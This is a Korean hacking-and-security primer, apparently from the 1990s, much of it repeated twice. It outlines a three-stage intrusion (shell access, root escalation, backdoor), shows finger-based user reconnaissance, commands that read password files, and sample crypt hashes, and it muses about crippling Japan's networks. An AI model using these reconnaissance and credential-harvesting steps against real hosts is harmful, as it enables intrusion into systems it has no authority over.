직접 찾아가 봐야합니다. 물론 영어라서 보기 답답하지만 끈기있게 지켜본다면
자신의 실력을 몇배로 늘릴수 있을것입니 다. 넷째, 항상 생각하라 해킹이란
것이 기존의 기술적인 부분을 배워서 안다는 것은 사실상 한계가 있습니다.
끊임없이 새로운 지식을 습득하고 창조하는 습관을 길러야 합니다. 물론 보안도
마찬가지죠 항상 주의깊게 보는 사고를 기르며 상대가 간과하고 있는 틈새를
파고들어야 하는 것입니다. 이러한 방법들로 여러분도 해커가 될 수 있습니다.
처음부터 너무 무리한 욕심을 가지지 말고 천천히 하나씩 밟아나가는 자세가
중요합니다. 어느샌가 자신도 남에게 도움을 줄 수 있는 해커의 반열에 오를 수
있다는 자신감을 가지세요. 필자도 불과 몇 년전만 해도 여러분과 똑같은
위치에서 시작했다는 사실을 알아두시길... 그럼 구체적으로 무엇을 공부해야
할지 알아볼까요? 해커가 되기 위해서 공부해야 할 것은 사실 엄청나게
많습니다. 하지만 간략하게 나눠본다면, 유닉스와 도스를 포함한 운영체제,
어셈블리 와 C를 포함한 프로그래밍 언어, 인터넷, 바이러스와 백신, 디버그와
소프트아이스를 이요한 크랙 등으로 나눌수 있겠습니다. 위에 열거한 것들은
가장 기본적인 과제들입니다. 이것들을 모두 숙지하고 하드웨어적인 부분까지
공부한다면 그야말로 무적해커 가 되겠지요. 해커가 되기위해서는 부단히
노력하는 방법밖에는 없습니다. 남을 도울수 있는 위치에 서는게 쉬운게 아니죠.
1-2-4. 프로그래밍을 꼭 배워야하는가?
해커가 되기 위해 프로그래밍을 꼭 배워야 할까요? 대답은 "프로그래밍을
배워두면 더욱 좋다"입니다. 프로그래밍을 어렵고 딱딱하게 생각하는 사람들이
많습니다. 초심자의 경우 C언어를 공부하기로 하고 책을 폈으나 '작심 하루'가
되는 경우가 대부분이죠. 이럴 경우 가장 쉬운 C언어 책을 추천받아서 실제로
옆에 펴놓으면서 따라해보는게 좋습니다. 주로 '유닉스 시스템 C 프로그래밍' 과
'어셈블리'에 대한 서적을 참조하시기 바랍니다. 이러한 부분들이 결코 만만한
과제는 아닙니다. 그러나, 당장 프로그래밍을 모른다고 걱정하지는 마십시오.
이러한 프로그래밍을 배워두면 더욱 전문적인 기술을 구사할 수 있고 응용할 수
있는 기반이기 때문입니다. 최소한 이게 C소스이고 저게 어셈블리 소스
정도라는것만 알아도 가능성은 충분합니다.
               다음 정보로..
              

해킹정보..
신출귀몰 해커도 손바닥 안에!
해킹의 최신 형태와 방지 테크닉
해킹이란 무엇인 가?
진부한 면이 있긴 하지만 hacker's dictionay를 참조하기로 하자.
Hacker: 1. A person who enjoys learning the details of computer systems and
how to stretch their capabilities - as opposed to most users of computers,
who prefer to learn only the minimum amount necessary. 2.One who programs
enthusiastically or who enjoys programming rather than just theorizing
about programming. - Guy L.Steele. et al. The Hacker's Dictionary
해커란, 컴퓨터에 정열을 가지고 열심히 몰두하는 사람들을 뜻한다.
오히려 언론에서나 일상에서 떠돌고 있는 해커라는 단어는 크래커(Cracker)나
시스템침입자(system intruder)의 뜻에 더 가깝다고 할 수 있다.
최근에는 각종 언론이나 기관에서 해킹에 상당히 민감한 반응을 보이고 있는
것이 요즘 들어 상 당히 크고 작은 해킹 사건들이 자주 일어났기 때문이다.
인터넷이 확산됨에 따라 이러한 현상은 더욱 두드러질 것으로 보인다. 해킹에
대비한 가장 무서운 방어법은 백업이 아닐까 싶다. 이는 물론 가장 기본적인
대비책이기 도 하다. "하드디스크를 밀어버리려면 밀어봐라. 우리는 날마다 백업
받는다네" "어제 지우고 갔 으면 오늘 또 살려놓으면 되지 뭐." 이렇게 된다면
해킹할 맛이 날까? 해킹 방지법을 익히기에 앞 서 간단히 국내에서 일어났었던
해킹 사례 들을 살펴보고 이전의 해킹유형 과 최신 해킹 사례들 을 자세히
살펴본다.
국내에서 발생한 해킹 사례
SERI(시스템 공학 연구소)의 슈퍼컴 센터 내 CRAY 2S에 해커가 침입, 시스템을
교란한 예. (1992)
서울대학교 전산센터에 해커들이 서울대의 LAN에 침입해 워크스테이션 6대의
모든 하드디 스크를 지워버린 예. (1993)
한국통신연구개발센터, 하나망 관리센터에서도 서울대와 유사한 사건이 발생
(1993)
원자력 연구소에 영국 소년해커가 침입(사실은 이와 이름이 비슷한 대학의
호스트에 침입한 것이지만 언론들의 허위, 과장보도로 잘못 알려진 사건)해 하드
디스크의 정보가 외부에 개 방됐던 사건 (1994)
한국 전산원, KRNIC(한국 망 정보 센터) 해킹사건:국내 네트워크 정보서버에
해커가 침입한 사건 (1994)
서강대학교의 아키서버에 침투해 디스크를 지워버린 사건 (1994)
KAIST 해킹 사건:영어권의 해커가 침투중 KUS(KAIST Unix Security task
force)멤버에 게 적 발된 예
위의 사건들은 신문지상에서 많이 접해본 것들이다. 물론 크고 작은 해킹 사건이
무수히 많이 일 어났었지만 굵직한 사건들만 나열했다. 이와 같이 많은 보안
사건이 벌어지는 상황에서 시스템의 관리자나 사용자의 입장에서 무엇을
해야만이 해커들의 침입 을 막을 수 있을까? 또한 독도는 자 기 땅이라고
우겨대는 얄미운 일본의 전산망을 무력화시키려 면 어떤 작업을 해야 할까?
하지만 독자들이 우선 이해하기 쉽도록 기초적인 내용을 먼저 적어 놓을까 한다.
해킹의 개념과 종류 대부분의 실력 있는 해커들은 다른 시스템에 침투를
하더라도 대의명분(?)이 있는 경우가 다반사 다. 자기가 관리하는 시스템에 다른
해커가 들어와서, 이를 신속히 추적하기 위해 역해킹하는 경 우의 예를 들 수
있겠다. 또한 어느 정도 실력 있는 해커들의 경 우에는 해커리즘에 관한 건전한
마인드가 형성돼 있는 사람들이 많기 때문에 이들이 혹시 자기 시스템에 피해를
입히지 않을까 걱정할 필요는 없다. 다만 걱정이 되는 것은 중고생들이 컴퓨터나
유닉스에 관한 전문적인 지식도 없으면서 막연한 공 명심과 엉뚱한 영웅심에
휩쓸려 해킹을 하게 되는 경우이다. 이들은 어쩌다 구한 해킹툴을 이용 해,
해킹을 하며 자신들이 침투를 했다는 증거도 지우고 나가지 못하는 경우가
대부분이다. 이러 한 상황에서 중고생들이 우연히 침투하게 되었다가 잡히게
되면 그들의 인생에는 어느덧 전과자 라는 기록이 남게 되는 것이다.ㅤ 해킹이란
법률적인 의미에서 보면 '시스템의 관리자가 구축해 놓은 보안망을 어떤
목적에서건 무 력화시켰을 경우 이에 따른 모 든 행동을 해킹이라고 한다.'고
돼있다. 하지만 네티즌간에는 보통 시스템 관리자의 권한을 불법 적으로 획득한
경우, 또 이를 악 용해 다른 사용자에게 피해를 준 경우를 해킹이라고 정의하고
있다. (간단한 해킹으로 어떤 사용 자의 패스워드를 추측을 통해서 건, 우연히
알게 되어서건 도용을 하게 됐을 경우를 들 수 있다.)
해킹의 3단계 절차
어떤 호스트를 해킹하기 위해서는 보통 3단계 절차를 거치게 된다.
1단계로 목표로 한 호스트 내 부에 잠입을 하여 쉘(shell)을 사용할 수 있는
유저의 권한을 얻어내는 것이다. 이를 실행하기 위 해 유저의 패스워드를 알아야
하는데, 스니프(sniff)를 이용 하는 고급방법에서부터, finger -l @targethost를
해 알아낸 사용자들의 패스워드를 추측해 로긴하는 무식한 방법까지 아주 다양
한 방법이 있다. 보통의 해커라면 외부에서 목표로 한 호스트의 패스워드 파일을
빼와서 이를 이용해 목표로 한 호스트 내부유저로 침입하는 것 이 보통이다.
그리고 이 1단계를 방어하는 것이 바로 네트워크 시큐리티이다.
2단계로 목표로 했던 호스트 내부에 잠입을 했으면 목표 호스트의
관리자(root)의 권한을 획득하 려고 시도할 것이다. 이는 호스트 내부의 OS
홀(hole)을 이용하는 경우가 많다. 또한 이 2단계를 방어하는 것이 바로 로컬
시큐리티이다.
3단계는 호스트 관리자(root)의 권한을 획득한 뒤 자신이 다음에 다시 침입할
경우에 편의성을 기 하기 위해 backdoor(뒷문)를 만 들어 놓고 나가는 단계이다.
매번 목표로 한 호스트에 잠입하기 위해 번번이 해킹을 시도한다면 증거를
언젠가 남기기 마련이고 '꼬리가 길어져서' 결국은 잡히 기 마련이다. 자신만이
사용할 수 있는 내부 버그(트로이 목마)를 남겨놓고 가는 것이 침입 때 증 거를
남기지 않는 좋은 방법이기 때문에 해커들은 이를 애용하고 있다. 해킹의 이해를
돕기 위한 유닉스 상의 기초상식 이제부터 나오는 내용들은 해킹을 이해하기
위한 유닉스상의 기초 지식이다.
패스워드는 어떻게 관리되는가?
보통 도용한 ID를 이용해 다른 시스템이나 ID의 소유주가 사용하고 있는
시스템의 관리자(root, Super user)의 자격을 얻어내기 위한 발판으로 삼는
경우가 있다.
그러므로 자신의 도용 당한 ID 때문에 피해를 본 쪽에서 조사 를 한다면 자신이
하지도 않은 일 에 의심을 사게 될 수도 있게 되는 것이다. 또한 ID를 도용
당하면 자신만의 피해로 끝나는 일이 아닌 시스템의 피해까지도 야기할 수 있기
때문에 패스워드를 검증하는 절 차를 두어 패스워드를 모르는 외부인은 사용하지
못하도록 막고 있는 것이다. 하지만 이 패스워드를 사용하고 있다 하더라도
문제는 있다. 만일 다른 사람도 충분히 추측해낼 수 있는 것으로 패스워드를
정했다면 다른 사람이 마음만 먹으면 자신의 ID를 사용할 수 있으므 로
무용지물이 되는 것이다. 그래서 자신의 패스워드를 관리하는 것에 대해
말해볼까 한다. 유닉스 시스템은 각 유저들의 패스워드 및 기타 정보를
/etc/passwd에 보관하고있다. vi나 cat을 이 용해 이 파일을 살펴보자.( 단,
보는 방법이 어떤 시스템을 쓰느냐에 따라 다르다. 위의 것은 일반 적인
경우이고 위에 나온 NIS 시스템은 NFS 시스템과 함께 같이 뒤에서 설명하고자
한다.) NIS 시스템을 이용하는 경우: cat /etc/passwd나 ypcat passwd를 한다.
NetInfo 시스템을 이용하는 경우: nidump passwd / 를 한다. 예시로 몇 줄만
들어보자.
root:##root:0:0:Supervisor:/:/bin/csh daemon:##daemon:1:1::/:
uucp:##uucp:4:8::/var/spool/uucppublic: kwlee:##kwlee:104:30:KyeongWon
Lee:/circ/kus/kwlee:/usr/local/bin/tcsh sakai:##sakai:129:30:Kim Huy
kang:/circ/kus/sakai:/usr/local/bin/tcsh hohle:##hohle:11529:410:Hoh eun
ha:/under/under/hohle:/bin/csh sungho:##sungho:13189:410:Park sung ho
:/under/under/sungho:/bin/csh
위와 같이 : 으로 구분된 두 번째 부분이 위와 같이 돼있는 경우도 있을 것이고
또는 root:VRLoJ2QnLhRA2:0:0:Supervisor:/:/bin/csh daemon:*1:1::/::
uucp:*:4:8::/var/spool/uucppublic: kwlee:ntim9ljaUGI.A:104:30:KyeongWon
Lee:/circ/kus/kwlee:/usr/local/bin/tcsh sakai:tdtwKgRa3ZZoI:129:30:Kim Huy
kang:/circ/kus/sakai:/usr/local/bin/tcsh hohle:u2WKlqINaIP8w:11529:410:Hoh
eun ha:/under/under/hohle:/bin/csh sungho:eATMm4J0Zb4Dw:13189:410:Park sung
ho :/under/under/sungho:/bin/csh
위와 같은 경우도 있을 것이다. 두 파일을 한번 살펴보자. 첫 세 줄은
root,daemon,uucp라는 시스 템 계정(account)에 관한 정보 이고 그 다음에
나오는 줄들은 kwlee나 sakai 같은 시스템의 일반 유저들에 관한 정보이다. 각각
의 줄은 : 을 기준으로 다음과 같은 7개의 필드(field)로 나뉜다.
1 Field : 유저 이름
2 Field : 유저의 패스워드(보통 보여주지 않거나 알아보지 못하게 변형시켜
놓는다.)
3 Field : 유저의 ID number(UID)
4 Field : 유저가 속해있는 그룹의 ID number(GID)
5 Field : 유저의 실제 이름
6 Field : 유저의 홈 디렉토리
7 Field : 유저가 사용하는 Shell
그 예를 들어보자.
위에서 sakai란 사람을 살펴보면
sakai:##sakai:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
sakai:tdtwKgRa3ZZoI:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
유저이름: sakai password: ##sakai(의도적으로 패스워드 부분을 숨긴
경우->Shadowing passwd라고도 말한 다.) tdtwKgRa3ZZoI(변형시켜서 알지 못하게
한 경우. 보통 encrypt(암호화)시켰다고 말한다.)
UID : 129 GID : 30 실제 유저의 이름: Kim Huy kang 유저의
홈디렉토리:/circ/kus/sakai 유저가 사용하는 쉘: tcsh 위와 같은 정보를 얻을
수가 있다.
해킹정보..
패스워드는 어떻게 만들어지는가? 그럼 위의 변형된 부분은 어떻게 생성되는
것일까? 다음을 수행시켜보자.
% /usr/lib/makekey iakasbells lsDy0cB/5/zho>
% /usr/lib/makekey sakaixvaaa aaxuEmMgYNZz2>
두 번의 실행결과를 비교해 보자.
공통점은 입력한 글쇠 중에서 끝에서 두번째부터의 글씨는 다 음 줄의 암호화된
부분에 그대로 찍혀 나오고 나머지 부분은 알아보지 못하게 변형되어 나온 것 을
알 수 있다.
위의 예에서 입력 한 단어 iakasbells의 마지막 두 글자 ls와 다음에 변형된
단어 lsDy0cB/5/zho>의 첫 ls와 같다.
이 마지막 두 글자들을 key character(혹은 salt)라고 한다. 이런 방식으로
로그인 네임을 입력한 후 패스워드를 입력하면 맨 마지막의 두번째 글자들을
가지고 입력한 패스워드를 암호화하게 되고 이 암호화한 자료를 가지고
/etc/passwd와 내용을 비교하여 옳다면 로그인에 성공하게 되는 것이 다.
보통 패스워드는 8자를 기준으로 하기 때문에 패스워드로 입력한 글자 수와
마지막 두 글자가 중 요한 의미를 갖게 된다.
앞 절에 서도 말했지만 충분히 추측할 수 있는 패스워드를 사용하면 곤 란하다.
또 /etc/passwd 파일로부터 패스워드를 추측해 주는 툴들( Crack 이라든지
Cops)을 사용해 알아낼 수도 있다.
이 툴들은 자신들의 독특한 알고리즘을 사용하는데, 이를테면 사전에 나오는
단어들이나, ID를 뒤 집어 대입해본다든지, 패스워드 파일에서 알아낸 자료들을
대입해본다든지 하는 방법이다. 물론 대입을 할 때에는 crypt() 함수를 이용해
encrypt(암호화)한 다음 이 결과를 /etc/passwd 파일에 있는 두번째 field인
변형된 부분과 계속 비교해 맞는지를 확인 해내게 된다.
이런 이유로 인해 흔히 일상에서 쓰는 단어들은 적발될 우려가 높은데, 좋지
않은 패스워드로서 다음과 같은 사례를 들 수 있다 . 좋지 않은 패스워드의 예
ID와 같은 password 사용하는 시스템의 이름 컴퓨터 호스트의 이름 영어사전에
나오는 단어 (boss , world .... ) 전화번호 생일 키보드 위의 같은 선상에 있는
글쇠들의 연속.(qwert,asdf .....) 동일한 글자의 연속 (11111, eeeee .... )
setuid란 무엇인가?
/etc/passwd의 소유주는 분명히 호스트 관리자(root)이다.
또한 우리는 패스워드를 바꾼 다음 변경 된 내용을 /etc/passwd 파일 에 저장을
하고 있다. 이상하지 않은가? 보통의 예라면 permission denied 라는 눈에 익은
메시지 가 떠야 할 텐데 말이다. 여기 에 아주 중요한 내용이 담겨 있다. 바로
setuid라는 것이다.
다음을 수행시켜 보자.
% ls -al /bin/passwd rwsr-xr-x 2 root 512 Jan 11 12:31 passwd
앞에서 설명이 잘 됐겠지만 setuid bit로서 s가 표시돼 있음을 알 수 있다.
이는 이 프로그램이 실 행되는 동안은 루트의 권한을 가질 수 있게 되며
프로그램이 끝남과 동시에 이 권한은 사라지게 된다. 그런 이유로 패스워드 를
이용해 /etc/passwd 파일을 우 리가 바꿀 수 있는 것이다. 우리는 이런 setuid를
많이 이용하고 있다. 로그인 프롬프트가 나왔을 때 우리는 생각 없이 로그 인을
하지만 내부에서는 상당히 복잡한 구동이 이뤄지고 있다. 우선 login 이라는
메시지 다음에 들어오는 사용자의 ID를 읽어 들 인다. 그리고 패스워드를 읽어
들이는데 읽어들인 패스워드를 crypt() 함수를 이용해 암호화시킨다.
이 암호화된 패스워드를 /etc/pas sword(Shadowing passwd 인 경우는 다른 파일
이를테면 passwd.adjunct 같은 다른 파일을 참조한 다.)의 두번째 field와
비교해 같으면 올바른 패스워드를 입력했으므로 login을 허가해준다.
다시 ls /bin/login을 해보면 알겠지만 이 login도 root 소유의 setuid bit가
붙은 파일이다. 여기서 알아둬야 할 점은 패스워드를 확인할 때 /etc/passwd
파일의 두 번째 field를 풀어서 입력된 패스워드와 맞춰 보는 게 아니라는
점이다. 이런 decrypt 함수는 없으며 알고리즘도 존재치 않는 다. 이로 인해
불완전하지만 유닉스의 보안이 이뤄지고 있는 것이다. 또한 앞에서 이야기했지만
루트 소유이고 setuid가 실행되는 동안은 시스템관리자의 권한을 갖는 다고
했다.
우리는 이것을 보고 effective uid라고 한다. 해커들은 이런 루트 소유의 setuid
bit 파일 들을 실행시키는 동안 인터럽 트를 걸 수 있는 쉘 스크립트라든가 툴을
이용해 이 파일들의 실행 을 중지시킨 상태로 있게 한 다. 즉 root의 권한을
가진 채로 있도록 하는 것이다. 이런 식으로 해 root의 권한을 불법적으로
획득하는 것이 대부분의 해킹방법이다. 과거의 해킹 유형들 예전에는 주로
네트워크 상이나 로컬 호스트 상에 서 configuration이 잘못된 것을 이용해
관리자 의 권한을 얻는 초보적인 해킹이 많았다.
즉, OS를 인스톨하면 프로그램들의 퍼미션이 적절히 조 정 안돼 있는 경우가
많은데, 이를 악용해 호스트 관리자만이 보고 쓸 수 있는 파일도 마음대로
조작하는 경우가 예전의 해 킹 유형이었다. 또한 웃지 못할 얘기로 해킹시도를
해도 계속 실패하 게 되자,
기계를 들고 훔쳐 달아난 도둑해커(?) 도 있다.
               다음 페이지로..
            
해킹의 최신 형태와 방지 테크닉

인터넷의 개방성과 정보공유 및 교환의 용이성으로 인해 인터넷사의 해킹사건은 날로 그 빈도수가
높아가며 그 유형 또한 고 도화하고 그로 인한 피해의 심각성은 하루가 다르게 변모하고 있다.
특집II에서는 5월호와 6월호 두달에 걸쳐 해킹방지 테크닉을 기획했다. 이를 통해 해킹패턴의 변화를
살펴보고, 최근에 일어나고 있는 구체적인 해커 침입경로와 형태, 그리고 그에 대한 방 지책을 자세히
들여다보기로 한다. 초보자들의 이해를 돕기 위해 해킹과 보안에 관련한 개괄적인 내용은 월간 Internet
95년 7월 호부터 11월호를 참조하기 바란다.

해킹의 기본 골격을 잡자!
전산학과인 K군은 학과 성적이 아주 좋지 못하다. 하 지만 실력만은 누구보다도 있다고 자부심을 가지고
있다. 하지만 성적이 나쁘다는 이유만으로 아무도 인정을 해주지 않자 자기가 인정받을 수 있는 곳은
가상세계뿐이라고 생각하게 됐다. 그 뒤로 K군이 열을 올리게 된 것은 해킹이었다. K군은 심심하고 무료
함을 달래기 위해 대형통신망에서 채팅을 즐기고 있다.

철저하게 위장해 자신의 신분을 감춘채 R양과 채팅을 즐기고 있다. R양의 주소와 비밀번호 등을 조사해
그녀를 놀라게 하며 즐 거움에 빠진다. R양의 주민등록번호를 알아내 은행공동망에서 그녀의 계죄를
추적, 자신과 채팅한 '대가'로 돈을 자신의 구좌로 이체한다.
 
아, 그래도 심심하다. 모 대학에 들어가 학생들의 성적을 열람한다. 고등학교때 부터 꼴보기 싫던 놈이
있었다. 그 녀석의 성 적을 모두 F로 만들어버린다. 속이 좀 후련하다. 아.. 심심해. 더 뭘할까...

위의 내용은 어떤 학생이 탈선의 길로 빠진 것을 가상으로 꾸며본 글이다. 최근들어 해킹이란 단어를
사람들이 많이 접하고는 있지만 정확히 어떠한 뜻을 갖고 있고 해킹에는 무엇이 있는지 정확히 아는
사람들은 그렇게 많지 않다. 오히려 언론의 해 킹에 대한 오보 때문에 인터넷에 대한 잘못된 선입관을
갖게 하는 수도 있는 것이다.

위의 가상의 글에서 보인 예는 해커에 대한 잘못된 인식이 담겨있다. 그렇다면 해킹이란 무엇인가?
진부한 면이 있긴 하지만 hacker's dictionay를 참조하기로 하자.

    Hacker: 1. A person who enjoys learning the details of computer systems and how to
    stretch their capabilities - as opposed to most users of computers, who prefer to learn
    only the minimum amount necessary.
    
    2.One who programs enthusiastically or who enjoys programming rather than just
    theorizing about programming.
    
    - Guy L.Steele. et al. The Hacker's Dictionary
   
해커란, 컴퓨터에 정열을 가지고 열심히 몰두하는 사람들을 뜻한다. 오히려 언론에서나 일상에서 떠돌고
있는 해커라는 단어는 크래커(Cracker)나 시스템침입자(system intruder)의 뜻에 더 가깝다고 할 수
있다.

최근에는 각종 언론이나 기관에서 해킹에 상당히 민감한 반응을 보이고 있는 것이 요즘 들어 상당히 크고
작은 해킹 사건들이 자주 일어났기 때문이다. 인터넷이 확산됨에 따라 이러한 현상은 더욱 두드러질
것으로 보인다.

해킹에 대비한 가장 무서운 방어법은 백업이 아닐까 싶다. 이는 물론 가장 기본적인 대비책이기도 하다.
"하드디스크를 밀 어버리려면 밀어봐라. 우리는 날마다 백업 받는다네" "어제 지우고 갔으면 오늘 또
살려놓으면 되지 뭐." 이렇게 된다면 해킹할 맛이 날까? 해킹 방지법을 익히기에 앞서 간단히 국내에서
일어났었던 해킹 사례들을 살펴보고 이전의 해킹유형 과 최신 해킹 사례들을 자세히 살펴본다.
국내에서 발생한 해킹 사례

 1. SERI(시스템 공학 연구소)의 슈퍼컴 센터내 CRAY 2S에 해커가 침입, 시스템을 교란한 예. (1992)
 2. 서울대학교 전산센터에 해커들이 서울대의 LAN에 침입해 워크스테이션 6대의 모든 하드디스크를
    지워버린 예. (1993)
 3. 한국통신연구개발센터, 하나망 관리센터에서도 서울대와 유사한 사건이 발생 (1993)
 4. 원자력 연구소에 영국 소년해커가 침입(사실은 이와 이름이 비슷한 대학의 호스트에 침입한
    것이지만 언론들의 허위,과장보도로 잘못 알려진 사건)해 하드 디스크의 정보가 외부에 개방됐던
    사건 (1994)
 5. 한국 전산원, KRNIC(한국 망정보센터) 해킹사건:국내 네트워크 정보서버에 해커가 침입한 사건
    (1994)
 6. 서강대학교의 아키서버에 침투해 디스크를 지워버린 사건 (1994)
 7. KAIST 해킹 사건:영어권의 해커가 침투중 KUS(KAIST Unix Security task force)멤버에 게
    적발된 예
위의 사건들은 신문지상에서 많이 접해본 것들이다. 물론 크고 작은 해킹 사건이 무수히 많이
일어났었지만 굵직한 사건들만 나열했다.이와 같이 많은 보안 사건이 벌어지는 상황에서 시스템의
관리자나 사용자의 입장에서 무엇을 해야만이 해커들의 침입 을 막을 수 있을까? 또한 독도는
자기땅이라고 우겨대는 얄미운 일본의 전산망을 무력화시키려면 어떤 작업을 해야 할가? 하지만
독자들이 우선 이해하기 쉽도록 기초적인 내용을 먼저 적어 놓을까 한다.

해킹의 개념과 종류

대부분의 실력있는 해커들은 다른 시스템에 침투를 하더라도 대의명분(?)이 있는 경우가 다반사다.
자기가 관리하는 시스템에 다른 해커가 들어와서, 이를 신속히 추적하기 위해 역해킹하는 경우의 예를 들
수 있겠다. 또한 어느 정도 실력있는 해커들의 경 우에는 해커리즘에 관한 건전한 마인드가 형성돼 있는
사람들이 많기 때문에 이들이 혹시 자기 시스템에 피해를 입히지 않을까 걱정할 필요는 없다.

다만 걱정이 되는 것은 중고생들이 컴퓨터나 유닉스에 관한 전문적인 지식도 없으면서 막연한 공명심과
엉뚱한 영웅심에 휩쓸려 해킹을 하게 되는 경우이다. 이들은 어쩌다 구한 해킹툴을 이용해, 해킹을 하며
자신들이 침투를 했다는 증거도 지우고 나가지 못하는 경우가 대부분이다. 이러한 상황에서 중고생들이
우연히 침투하게 되었다가 잡히게 되면 그들의 인생에는 어느덧 전과자 라는 기록이 남게 되는 것이다.ㅤ

해킹이란 법률적인 의미에서 보면 '시스템의 관리자가 구축해 놓은 보안망을 어떤 목적에서건
무력화시켰을 경우 이에 따른 모 든 행동을 해킹이라고 한다.'고 돼있다. 하지만 네티즌간에는 보통
시스템 관리자의 권한을 불법적으로 획득한 경우, 또 이를 악 용해 다른 사용자에게 피해를 준 경우를
해킹이라고 정의하고 있다. (간단한 해킹으로 어떤 사용자의 패스워드를 추측을 통해서 건, 우연히 알게
되어서건 도용을 하게 됐을 경우를 들 수 있다.)

해킹의 3단계 절차

어떤 호스트를 해킹하기 위해서는 보통 3단계 절차를 거치게 된다. 1단계로 목표로 한 호스트 내부에
잡입을 하여 쉘(shell)을 사용할 수 있는 유저의 권한을 얻어 내는 것이다. 이를 실행하기 위해 유저의
패스워드를 알아야 하는데, 스니프(sniff)를 이용 하는 고급방법에서부터, finger -l @targethost를 해
알아낸 사용자들의 패스워드를 추측해 로긴하는 무식한 방법까지 아주 다양 한 방법이 있다.

보통의 해커라면 외부에서 목표로 한 호스트의 패스워드 파일을 빼와서 이를 이용해 목표로 한 호스트
내부유저로 침입하는 것 이 보통이다. 그리고 이 1단계를 방어하는 것이 바로 네트워크 시큐리티이다.

2단계로 목표로 했던 호스트 내부에 잡입을 했으면 목표 호스트의 관리자(root)의 권한을 획득하려고
시도할 것이다. 이는 호스 트 내부의 OS 홀(hole)을 이용하는 경우가 많다. 또한 이 2단계를 방어하는
것이 바로 로컬 시큐리티이다.

3단계는 호스트 관리자(root)의 권한을 획득한뒤 자신이 다음에 다시 침입할 경우에 편의성을 기하기
위해 backdoor(뒷문)을 만 들어 놓고 나가는 단계이다. 매번 목표로 한 호스트에 잡입하기 위해 번번히
해킹을 시도한다면 증거를 언젠가 남기기 마련이고 '꼬리가 길어져서' 결국은 잡히기 마련이다. 자신만이
사용할 수 있는 내부 버그(트로이 목마)를 남겨놓고 가는 것이 침입때 증 거를 남기지 않는 좋은 방법이기
때문에 해커들은 이를 애용하고 있다.

해킹의 이해를 돕기위한 유닉스 상의 기초상식

이제부터 나오는 내용들은 해킹을 이해하기 위한 유닉스상의 기초 지식이다.

패스워드는 어떻게 관리되는가?

보통 도용한 ID를 이용해 다른 시스템이나 ID의 소유주가 사용하고 있는 시스템의 관리자(root, Super
user)의 자격을 얻어내기 위한 발판으로 삼는 경우가 있다. 그러므로 자신의 도용당한 ID 때문에 피해를
본 쪽에서 조사를 한다면 자신이 하지도 않은 일 에 의심을 사게 될 수도 있게 되는 것이다.

또한 ID를 도용당하면 자신만의 피해로 끝나는 일이 아닌 시스템의 피해까지도 야기할 수 있기 때문에
패스워드를 검증하는 절 차를 두어 패스워드를 모르는 외부인은 사용하지 못하도록 막고 있는 것이다.

하지만 이 패스워드를 사용하고 있다 하더라도 문제는 있다. 만일 다른사람도 충분히 추측해낼 수 있는
것으로 패스워드를 정했 다면 다른 사람이 마음만 먹으면 자신의 ID를 사용할 수 있으므로 무용지물이
되는 것이다. 그래서 자신의 패스워드를 관리하는 것에 대해 말해볼까 한다.

유닉스 시스템은 각 유저들의 패스워드 및 기타 정보를 /etc/passwd에 보관하고있다. vi나 cat을 이용해
이 파일을 살펴보자.( 단, 보는 방법이 어떤 시스템을 쓰느냐에 따라 다르다. 위의 것은 일반적인
경우이고 위에 나온 NIS 시스템은 NFS 시스템과 함께 같이 뒤에서 설명하고자 한다.)

  * NIS 시스템을 이용하는 경우: cat /etc/passwd나 ypcat passwd를 한다.
  * NetInfo 시스템을 이용하는 경우: nidump passwd / 를 한다.
예시로 몇줄만 들어보자.

    root:##root:0:0:Supervisor:/:/bin/csh
    daemon:##daemon:1:1::/:
    uucp:##uucp:4:8::/var/spool/uucppublic:
    kwlee:##kwlee:104:30:KyeongWon Lee:/circ/kus/kwlee:/usr/local/bin/tcsh
    sakai:##sakai:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
    hohle:##hohle:11529:410:Hoh eun ha:/under/under/hohle:/bin/csh
    sungho:##sungho:13189:410:Park sung ho :/under/under/sungho:/bin/csh
   
위와 같이 : 으로 구분된 두번째 부분이 위와 같이 돼있는 경우도 있을 것이고 또는

    root:VRLoJ2QnLhRA2:0:0:Supervisor:/:/bin/csh
    daemon:*1:1::/::
    uucp:*:4:8::/var/spool/uucppublic:
    kwlee:ntim9ljaUGI.A:104:30:KyeongWon Lee:/circ/kus/kwlee:/usr/local/bin/tcsh
    sakai:tdtwKgRa3ZZoI:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
    hohle:u2WKlqINaIP8w:11529:410:Hoh eun ha:/under/under/hohle:/bin/csh
    sungho:eATMm4J0Zb4Dw:13189:410:Park sung ho :/under/under/sungho:/bin/csh
   
위와 같은 경우도 있을 것이다. 두 파일을 한번 살펴보자. 첫 세줄은 root,daemon,uucp라는 시스템
계정(account)에 관한 정보 이고 그 다음에 나오는 줄들은 kwlee나 sakai 같은 시스템의 일반 유저들에
관한 정보이다. 각각의 줄은 : 을 기준으로 다음과 같은 7개의 필드(field)로 나뉜다.

  * 1 Field : 유저 이름
  * 2 Field : 유저의 패스워드(보통 보여주지 않거나 알아보지 못하게 변형시켜 놓는다.)
  * 3 Field : 유저의 ID number(UID)
  * 4 Field : 유저가 속해있는 그룹의 ID number(GID)
  * 5 Field : 유저의 실제 이름
  * 6 Field : 유저의 홈 디렉토리
  * 7 Field : 유저가 사용하는 Shell
그 예를 들어보자. 위에서 sakai란 사람을 살펴보면

    sakai:##sakai:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
    sakai:tdtwKgRa3ZZoI:129:30:Kim Huy kang:/circ/kus/sakai:/usr/local/bin/tcsh
   
 1. 유저이름: sakai
 2. password: ##sakai(의도적으로 패스워드 부분을 숨긴 경우->Shadowing passwd 라고도
    말한다.) 
    tdtwKgRa3ZZoI(변형시켜서 알지 못하게 한 경우.보통 encrypt(암호화)시켰다고 말한다.)
 3. UID : 129
 4. GID : 30
 5. 실제 유저의 이름: Kim Huy kang
 6. 유저의 홈디렉토리:/circ/kus/sakai
 7. 유저가 사용하는 쉘: tcsh
위와 같은 정보를 얻을 수가 있다.

패스워드는 어떻게 만들어지는가?
 
그럼 위의 변형된 부분은 어떻게 생성되는 것일까? 다음을 수행시켜보자.

    % /usr/lib/makekey iakasbells
    lsDy0cB/5/zho>
    
    % /usr/lib/makekey sakaixvaaa
    aaxuEmMgYNZz2>
   
